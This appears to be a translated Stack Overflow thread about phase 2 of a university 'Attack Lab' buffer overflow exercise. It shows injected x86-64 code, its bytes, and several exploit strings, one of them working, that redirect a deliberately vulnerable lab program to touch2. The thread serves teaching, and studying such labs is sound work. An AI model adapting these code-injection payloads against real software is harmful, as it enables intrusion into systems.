【问题标题】:The Attack Lab phase 2 (Buffer Oveflow Attack)攻击实验室第 2 阶段(缓冲区溢出攻击)
【发布时间】:2020-10-21 20:33:12
【问题描述】:

我有一个缓冲区溢出实验室,我必须为一个名为 The Attack Lab 的项目做。我在实验室的第 2 阶段,我必须注入代码作为我的漏洞利用字符串的一部分,以使程序指向函数 touch2() 的地址。我已经得到了我需要的正确的漏洞利用代码(由 TA 确认):

movq $0x4ed659a2,$rdi
pushq $0x4018c3  //address of touch2
ret

我编译和反汇编了这段代码:

Disassembly of section .text:

   0:   48 c7 c7 a2 59 d6 4e    mov    $0x4ed659a2,%rdi
   7:   68 c3 18 40 00          pushq  $0x4018c3
   c:   c3                      retq

我想找到正确的漏洞利用字符串传递给程序? %rsp的地址是0x5560a188

我的 TA 说 this discussion 的评论是正确的,所以我尝试了这个漏洞字符串

48 c7 c7 a2 59 d6 4e 00
68 c3 18 40 00 00 00 00
c3 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00

但这是不正确的。它甚至没有到达touch2

在此之前,我研究过这样的解决方案:

48 c7 c7 a2 59 d6 4e c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
c3 18 40 00 00 00 00 00

0:   48 c7 c7 a2 59 d6 4e    mov    $0x4ed659a2,%rdi
7:   c3                      retq

遇到了段错误。

我反汇编了 rtarget here。 ctarget 和 rtarget 的行为相同。

谢谢。

【问题讨论】:

  • 您是否通过hex2raw 运行漏洞利用字符串?
  • 是的,我是!我试过48 c7 c7 a2 59 d6 4e 00 | 68 c3 18 40 00 00 00 00 | c3 00 00 00 00 00 00 00 | 88 a1 60 55 00 00 00 00,但它不起作用。
  • 我将该漏洞利用字符串生成为exploit.txt 并像您一样使用该命令,但我失败了。它甚至没有达到touch2。所以我认为我生成它的方式是错误的,来这里寻求帮助T_T
  • 我不确定我们能否提供帮助,除非您向我们展示 objdump -d ctarget 的输出,以便我们查看易受攻击程序的汇编代码。
  • 我做到了:touch2。

标签: assembly x86 segmentation-fault memory-address buffer-overflow


【解决方案1】:

我已经问过我的教授并得到了解决方案。

最初,我不正确的漏洞利用字符串是

48 c7 c7 a2 59 d6 4e 00
68 c3 18 40 00 00 00 00
c3 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00

但是,我的教授告诉我不要在指令之间添加任何额外的字节。所以我尝试了

48 c7 c7 a2 59 d6 4e 
68 c3 18 40 00
c3
00 00 00 00 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00

它有效!

因此,我们只需要确保指令的所有字节都在一起,并且之间没有填充,并且不要以字节为单位打乱指令的顺序!

【讨论】:

  • 是的,x86 机器码指令是可变长度的。 wiki.osdev.org/X86-64_Instruction_Encoding 在一条指令之后、下一条指令之前插入的00 字节将解码为addb %reg, %reg/mem (felixcloutier.com/x86/add) 的操作码。 00 00addb %al, (%rax),ModRM 字节也为 0。如果您在 GDB 下运行漏洞利用程序并单步执行受攻击的程序以查看它执行您的损坏的有效负载,您可以看到发生了什么。所以是的,这就是为什么填充必须指令之后,而不是在指令之间!
猜你喜欢
  • 2019-04-14
  • 2011-11-12
  • 1970-01-01
  • 2019-10-23
  • 1970-01-01
  • 2021-12-03
  • 2021-02-25
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多